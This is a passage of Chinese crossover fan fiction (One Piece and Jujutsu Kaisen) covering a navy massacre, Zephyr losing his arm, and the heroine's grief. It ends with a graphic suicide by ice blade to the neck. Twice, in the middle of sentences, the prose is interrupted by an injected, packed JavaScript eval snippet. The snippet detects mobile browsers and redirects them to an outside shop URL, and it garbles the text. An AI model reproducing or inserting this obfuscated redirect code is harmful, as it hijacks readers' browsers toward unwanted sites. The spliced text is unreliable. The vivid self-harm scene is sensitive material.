清冷的女声在歌莉娅的耳畔响起，她扭头望向躺在身边的少女，这才认出刚刚拽住的新兵是之前在训练场上坚持到最后的蓝发少女。 歌莉娅摆摆手示意对方不用在意，本来就是下意识的动作，没什么好道谢的。 但蓝发少女——也就是艾恩却格外认真的再次道谢，“要不是你，我就掉海里面了，歌莉娅小姐。”她低声解释了一下自己是能力者的事情。 刚刚巨浪拍打在甲板上将艾恩淋得浑身湿漉漉的，让她的身体瞬间软绵绵使不出力气，要不是歌莉娅掉入海里还死死拽住自己，她掉入海里估计就没有生还的机会。 歌莉娅听着艾恩简单解释自己的果实能力，她捂着嘴感觉有点不妙。 倒退果实，可以对人体或者物体时间倒退，怎么和她对外宣称的果实能力有点像啊…… 这件事泽法老师知道吗？ 喔，比起这个，还是要想想怎么样解释身为能力者的自己是如何从海里奇迹生还，还顺便把艾恩也捞起来比较重要，毕竟懒得解释自己术式，她一向对外宣传自己是能力者。 好麻烦…… 想到这，歌莉娅瞬间摆烂，后背“啪”地一下砸回沙滩上，完全不想起来了，让她在躺一会吧。 “歌莉娅小姐，我们得快点想办法回去军舰上。”然而艾恩刚从海水浸泡脱力的状态恢复就迫不及待地想回去军舰上，“不知道大家怎么样了？” “军舰上的航海士经验丰富，不会有问题的。” 虽然军舰上大部分都是海军学校的学生，但负责军舰驾驶的航海士和舵手可不是菜鸟，全都是经验老到的海军，这场暴风雨虽然猛烈，但对于早已习惯伟大航路的海军来说不算什么。 虽然歌莉娅很想继续躺一会，奈何艾恩虽然不对她躺平发表任何意见，但却一直用炙热的视线盯着自己，这让她完全躺不下去，只好起身一同前往岛上的村落，看看是否能借到电话虫或船只。 …… 另一方面，军舰好不容易穿过惊涛骇浪的暴风带，来到一片平静的海域，但一波刚平一波又起，军舰没平稳前进多长时间，警戒台上就传来警戒——前方有一艘海贼船，只是距离尚远，无法看清楚对方的海贼旗，不清楚对方是哪个海贼团。 泽法的目光扫过甲板上筋疲力尽的新兵们，沉声吩咐舵手避开海贼船，权当没看到对面的海贼船。 然而那个海贼团却不是这样子想的，他们的海贼船明显是冲着军舰而来，在距离军舰一段距离就嚣张地开炮炮击军舰舰身，军舰堪堪避过炮弹，极速的回避还是让舰身剧烈摇晃，所有人都踉跄了一下。 泽法皱着眉头脸色凝重地下达命令，“全员战斗准备！” 原本已经筋疲力尽的新兵们只好挣扎着从甲板上爬起来准备迎战。 这就是伟大航路的残酷之处，就算上一秒刚经历完暴风雨的摧残，但下一秒战斗来袭，对手也不会因此手下留情的。 …… 歌莉娅站在小船上远远看着停在原地的军舰感觉到不对劲——蓝绿色的舰身上布满了密密麻麻的炮弹痕迹，仿佛经历了一场炮弹洗礼，这是她离开时尚未有的痕迹。 歌莉娅伸手拽住着急上去的艾恩，放出见闻色感知船上的动静，心里瞬间咯噔了一下。 她只感知到船上只有四五个人剧烈喘息的声音，再无多余的生物气息。 “歌莉娅小姐，怎么了吗？” 艾恩没有发现不对劲，只是有点疑惑地看着歌莉娅。 歌莉娅闭上眼眸咬住下唇，半响后深吸一口气瞥了艾恩一眼，没有说出自己感知到的情况，“你在这里等一下，我先上去看看。” “可是——” “可以吗。” 歌莉娅加重的语气让艾恩下意识点头答应，“额……好。”她眼巴巴地等在原地。 歌莉娅纵身跃上军舰甲板的瞬间，扑面而来的铁锈和血腥味让她喉咙发紧，视线所及之处皆是一片人间炼狱，未干的血迹沿着甲板的沟壑蜿蜒形成血泊，几个小时前还相互抱怨着训练太累的新兵们此刻浑身是血的躺在甲板上，胸膛毫无起伏。 她下意识屏住呼吸，死死咬住下唇，不让惊呼声溢出，缓缓蹲下.身将手放到离她最近的一个新兵的脉搏上。 毫无起伏的脉搏让她身体一怔，停顿不到一秒就迅速站起身往尚有动静的前方奔去。 只见那个她印象中总是挺直背脊，仿佛永远不会倒下的男人正蜷缩在甲板上，他的脸埋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16281083|180624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在甲板上让人看不清神色，但他的周围都是密密麻麻的尸体，有海贼的，也有海军的…… 歌莉娅愣在原地攥紧衣角不敢继续往前靠近，犹豫地小声喊道，“泽法老师……”但下一秒她的目光移动到泽法被切断的右臂时再也没忍住冲过去对方的身旁，“泽法老师！你还好吗！？” 这时，歌莉娅也顾不上其他，指尖轻轻搭在泽法右臂的皮肤上，一团蓝光从她的指尖冒出包裹着泽法的伤口，外翻的血肉在蓝光的包裹下慢慢收拢，不再冒出新的血珠。 她低头环视了甲板一圈也没看到泽法断掉的右手，不得不开口问道，“泽法老师，你的右手——” 泽法没有回答歌莉娅的话，“去、去看看其他人，我没事，快！” 歌莉娅凝视着泽法快要崩溃的神情，半秒后顺着泽法的意思开始确认甲板上每一个新兵的情况。 她的见闻色都能感知到船上只余四五个人的气息，以泽法强大的见闻色不可能不知道的，但他依旧抱有一丝希望，第一次希望自己的见闻色出错。 “怎么样！？” “……” 歌莉娅垂眸盯着甲板避开泽法期盼的目光，她的嘴唇嚅动了一下，不知道怎么样说出事实。 没有得到结果的泽法挣扎着从甲板上起来，不顾自己的伤势，踉跄着奔到其中一个新兵跟前，歌莉娅连忙扶住泽法，让他不至于摔倒在地。 泽法半跪在地颤动着伸出左手，指尖悬在那新兵的颈侧上方几厘米处就不敢再往下…… 歌莉娅不忍心再看，想伸出手拽住泽法的手，泽法却一把推开她，指腹最终还是落下，只是指腹下已丝毫没有起伏。 泽法猛地抽回手，左手握成拳头，指甲已经深陷皮肉之中他却毫无察觉，喉咙溢出压抑的呜咽，亲手确认学生的死亡，让他再也克制不住自己的情绪。 “为、为什么——为什么死的不是我！？”他情绪激动地俯首在甲板上用完好无缺的左手捶打着，本来已经止住的鲜血又重新汹涌地从泽法右臂断肢流出，“为什么！？” “……” 歌莉娅垂眸注视着泽法痛苦的面容，悬着的手臂僵在半空好一会才收回来，手指攥紧又松开好几次，但还是说不出来一句安慰的话，现在无论说什么都过于苍白。 “大家——这是怎么回事！？醒醒！艾伦！詹姆斯！”艾恩的惊呼声从船尾传来，久等不见歌莉娅归来，她最终还是按耐不住跟了过来，结果一走上甲板看到的却是同期们的尸体，“泽法老师，歌莉娅小姐你们在哪里？” “艾恩……”艾恩的声音似乎唤回泽法的些许神志，他中断了捶打的动作，喃喃着这个名字，然后又抬头望向歌莉娅，好半响才再度说话，声音颤抖却带着一丝庆幸，“歌莉娅……你们还活着……真好、真好……” “对不起……泽法老师，我回来晚了。” 歌莉娅上前搂住泽法，本以为早对死亡司空见惯已经不会再情绪失控，但泪水却还是悄然从眼角溢出，顺着脸颊的弧度滴落。 21.第 21 章 * 库赞赶到医院时看到的是歌莉娅整个人呆呆地坐在手术室不远处的长凳上，眼神空洞地仰面看着天花板，不知道在想什么。 他轻轻喊了对方一句，连呼吸都放轻了几分，“副官小姐……” 但歌莉娅对他的话毫无反应，依旧一动不动地死死盯着天花板。 “歌莉娅。” 库赞接连低唤了歌莉娅好几声，歌莉娅才如梦初醒般缓缓抬头，视线与专注在自己身上的眸子对视上，惊觉对方不知何时身影已经将她严严实实笼罩着，“库赞……是你啊。” 歌莉娅的声音里带着有气无力的疲惫，她仅抬头瞥了库赞一眼又重新垂下头，“泽法老师的手术室在那边。” “我知道。” 库赞收到消息赶到手术室外时，走廊中已有几名忧心忡忡的中将正守在手术室门外，那边并不缺他一个，于是他绕道到这边来寻找自己的副官小姐。 他的目光缓缓从歌莉娅凌乱的长发扫到沾满血迹的衣摆，眉头不自觉紧蹙，歌莉娅的脸上泛着不自然的潮红，额前的碎发被冷汗濡湿，身上的衣物皱巴巴一团，整个人显得狼狈不已。 虽然没看出来身上有明显伤痕，但他还是不放心放缓语气问道，“你没受伤吧？” “没有，但是泽法老师——”歌莉娅咬了咬嘴唇，蓦地说不下去，她身上捂住自己的下半张脸，“怎么办……其他人都死了，新兵、新兵们只剩下艾恩和宾兹了。” 她憔悴地注视着库赞，似乎期待对方能给她一个答案，又似乎只是想找一个人倾述罢了。 “……” 库赞静静地注视着歌莉娅没有回话，他明白死亡对于年轻人来说确实很沉重，但恰恰这就是现实，海军的日常就是和死亡共舞着，无论怎么样的语言安慰都显得苍白，他能做的只有沉默的陪伴。 歌莉娅疲惫地阖上双眼后将头轻轻地靠在库赞的肩膀，仿佛随着主人心情而黯淡无光的红色长发随着她的动作垂落在库赞的手臂上，声音低得几乎不可闻，“抱歉，我好像需要借一下你的肩膀。” 她并非像库赞所想那样第一次直面死亡，曾经死亡与她如影随形，毕竟上辈子的世界咒术师总是活跃于和咒灵战斗的第一线，死亡每天都在发生，认识的，不认识的…… 海军的新兵们对于她来说，说到底不过是交换过姓名的陌生人，低落的情绪确实是有的，但她还不至于为一群陌生人伤心到这种地步，她担心的是泽法老师，泽法老师的状况实在让人担忧，身体的伤可以被治愈，但心灵上的伤却不是那么容易愈合的。 泽法老师崩溃的模样不停在她眼前闪现着…… 渐渐地勾起她心底里深藏的记忆，曾以为早已遗忘的、不愉快的上辈子记忆毫无征兆地在脑海里翻涌着，甲板上死去新兵的面容以一种诡异的姿态扭曲变形，恍惚间竟和过去送别过的面容渐渐重叠在一起，养父、同期、后辈还有学生…… 他们都死了，似乎只有她一直无法死亡，被无能为力地徒留原地。 后来她终于死了，原以为终于解脱了，但又重生在这个世界上——一个没有咒灵却同样残酷的世界，但在这里她收获了家人，她曾竭力想要假装察觉不到那些不和谐音符，假装海面从来都是风平浪静的，但童话世界从来都不存在，现实总是鲜血淋漓地被撕开。 库赞眼帘微垂，目光落在依靠在自己身侧的少女身上。 她正安静地攥紧自己披风的一角，眼神空洞平静地注视墙壁上某个虚无的点，脸上看不出半分波澜，既没有哭红的眼角也没有抿紧的唇角，只有被蹂躏得不成样子的衣料泄露了她的心绪并不如脸上平静。 明明面上不显半分情绪，但他奇妙地能感受到一股哀伤悄然无声地从少女身上蔓延出来，整个人都透着不真切，少女分明就在他的眼前却又仿佛远在另外一个他触不到的世界般。 霎时，他想起那个遥远的下午——与歌莉娅的初见，那个蜷缩在石板上的女孩…… “歌莉娅……” 库赞瞧着歌莉娅那副模样下意识喊了对方的名字，似乎这能将对方唤回来一样。 然而恰恰是这句话打开了歌莉娅的眼泪开关，本来沉浸在自己世界里的歌莉娅被唤回心绪后蓦然眼眶一紧，视线就模糊起来，眼泪争先恐后地砸在库赞的衣袖上，晕开一小片深色。 意识到这点后，歌莉娅猛地伸手捂住自己的脸，撇开脸去，背对着库赞，不让对方看到自己哭泣的狼狈模样。 好半响，她才稍微冷静下来，用手背擦了擦不断有泪水涌出的眼角，吸了吸鼻子，下意识往自己口袋掏纸巾，然而纸巾早就在她落入海里时烂掉，于是她的手就这样僵在口袋里。 这时，骨节分明的手掌伸过来，掌心上躺着一包纸巾和一颗糖果。 歌莉娅蓦然回首发现库赞不知何时把自己戴在头上的眼罩放了下来，遮挡住自己的双眼。 她垂眸望向面前布满老茧的大掌没有说话，身体停顿了一下才一把将纸巾和糖果抓过来，抽出一张纸巾开始给自己胡乱抹眼泪。 “Zzzzz……” 库赞一动不动，用行动告诉歌莉娅自己睡着了，什么都不知道。 歌莉娅将剩余的纸巾扔回到库赞身上，又给库赞一肘子，“别装了，你都看到了吧。”眼泪确实是一个很好的发泄途径，起码能让她的情绪平稳很多。 “啊啦啦……确实没看见呢……”库赞依旧没有摘下眼上的眼罩，懒洋洋地靠着椅背，“刚刚是有发生什么了吗？” 歌莉娅吸了吸鼻子，声音还带着浓重的鼻音，“……什么都没有。”她拆开糖果的包装纸，将粉红色的糖果送入嘴里。 甜食很好的缓和了她的情绪，她松开紧绷的肩膀，但视线依旧不忘往拐角处望去，这里正好能看清楚手术室门口的灯，门上的红灯还亮着。 歌莉娅低头看了一下时间，手术进行快五个小时了，到现在还没有完成。 她的手指不自觉地蹂躏着手中的纸巾，指腹捏着纸巾一角摩挲着，很快纸巾的碎屑纷纷落在地板上。 倏忽，手术室上的红灯灭了，歌莉娅猛地站起身，眼眸紧紧盯着门板，不一会医生就从手术室走出来。 泽法的手术非常成功，只是断掉的右手在战斗中遗失无法找回，没能接上，“黑腕”泽法永远失去了他的右手。 歌莉娅长吁一口气。 和性命相比，右手显然无关紧要得多，而且她也不是没有办法恢复泽法的右手。 但很快她又愁眉苦脸起来，泽法根本没办法接受自己学生的死亡，在军舰上最后她为了避免泽法情绪过于激动影响伤势，不得不打晕了他，但现在又要重回现实了。 “泽法老师可你比想象中要坚强。” 库赞知道泽法已无大碍后并没有着急过去探望对方，现在应该多得是同僚围在泽法病床前，他可以稍微晚一点再过去。 他看着歌莉娅的脸色，觉得现在急需关怀的另有其人。 “我掉进海里了——”歌莉娅双手攥着衣料搅动着，她觉得如果不是自己不小心掉进海里，那好歹多一份战力，新兵们不至于这么惨烈，泽法也不用丢掉右手，“如果我还在军舰上的话——” 库赞残酷地打断了歌莉娅的话，“小姐，不要过分高估自己，就算你在军舰上的话也改变不了事实。” 毕竟就连泽法老师也输给对方了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16284399|180624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽管是因为有海军新兵拖后腿。 事实上在泽法的军舰出事消息传回来后，情报部马上行动起来，很快得知本次袭击军舰的是爱德华·威布尔，一个自称是白胡子二世的男人，白胡子从来没有承认过他，在本次事件之前海军从未重视过这个海贼，但这次的事件不得不让他们重新审视这个海贼，他确实拥有年轻白胡子一般的实力。 库赞用沉稳锐利的目光凝视着歌莉娅，不放过她脸上一分一毫的表情变化，“世界上没有如果，小姐，海军本就伴随着死亡，你在入伍的时候应该也做好觉悟了吧。” 尽管很残酷，但他还是不得不亲自打破年轻人的天真。 歌莉娅眨了眨眼愣住了，仿佛没能理解库赞的话一般，又重复了一遍，喃喃道，“如果……” “如果，对，如果！”倏然，她神色一凛低头瞥向自己的右手手腕内侧，下一秒咧嘴笑出来，笑意带着一股疯劲，眼眸带着炽热的光芒，“我差点忘记了！哈哈哈！太久了，我都忘记了！世界上是有如果的！” 歌莉娅笑了好一会才意识到自己的笑容在此时此刻不合时宜，她努力抑制着上翘的嘴角，紧绷的身体终于放松下来。 她扭头直勾勾地盯着库赞，语气恢复日常的平静，眼底却透着异样的执拗和疯狂，“库赞，世界上有如果的。” 库赞眉峰拧成一团注视着歌莉娅，本能的觉得眼前的少女处处透着不对劲，但却说不出个所以，“……你在说什么？” 可歌莉娅却不想再说这个话题了，她摇摇头，“没什么。” 她的手抚上自己的嘴唇，摩挲着嘴角的死皮，不一会，唇上就鲜血淋漓，她伸出舌尖轻轻地舔舐嘴唇的鲜血，鲜血的味道在口腔漫开让她头脑开始清晰起来。 她摸了摸自己身上的口袋又环视了周围一圈，都没有发现自己想要的东西，于是她将目光放到库赞身上。 “库赞，能给我个冰刀吗？” 本来一直在观察歌莉娅的库赞身体一怔，有点摸不着头脑，“小姐是想干什么？” “你别管，给我就是了。” 库赞挠挠头，站起身伸手到窗外摘了一朵开得灿烂的花朵，他将花瓣摘下轻轻一吹，冰块瞬间顺着花瓣飘散的弧度凝结而成，变成一把手掌长度可用作武器的冰刀。 歌莉娅走到库赞面前，接过库赞手中的冰刀，小心翼翼用另外一只手的手指戳了戳冰刀的尖尖，确认着冰刀的锋利程度。 库赞看着歌莉娅怪异的举动，再次问道，“你到底想干嘛？” “库赞，你知道吗，泽法老师准备生日了。”歌莉娅却脸色平静地回了一句牛头不搭马嘴的话，“我希望他能度过一个开心的生日，所以我决定送他一个礼物。” 闻言，库赞的眉头拧得更紧，不祥的预感蓦然浮上他的心头，只是他还没有来得及说什么就被眼前的画面惊呆了。 少女眼神里没有一丝犹豫，双手紧握着冰刀猛地刺向自己颈项大动脉。在刀锋没入身体的瞬间，大量的鲜血如同汹涌的洪水般涌出，天花板被溅上点点殷红、白墙血痕蜿蜒流下、地板上积起血泊，而他的脸颊、肩头、胸膛也猝不及防被温热溅得一片狼藉，鲜红在白色的制服上尤为刺眼。 库赞的眼眸瞬间睁大，脸色大变，猛地上前一手接住少女软绵绵倒下的身体，一手动用能力在少女血流如注的颈项覆盖上冰霜，高声疾呼起来，“医生！” 倏忽，他感受到什么，身体猛地一怔，随即垂眸注视着少女安静的面容，少女脸上的平静仿佛只是沉睡过去一样。他难以置信地颤抖着指腹摩挲少女依旧温热的皮肤，再次确认到的事实是——指腹下颈动脉的搏动已然停止，没有一丝一毫的起伏……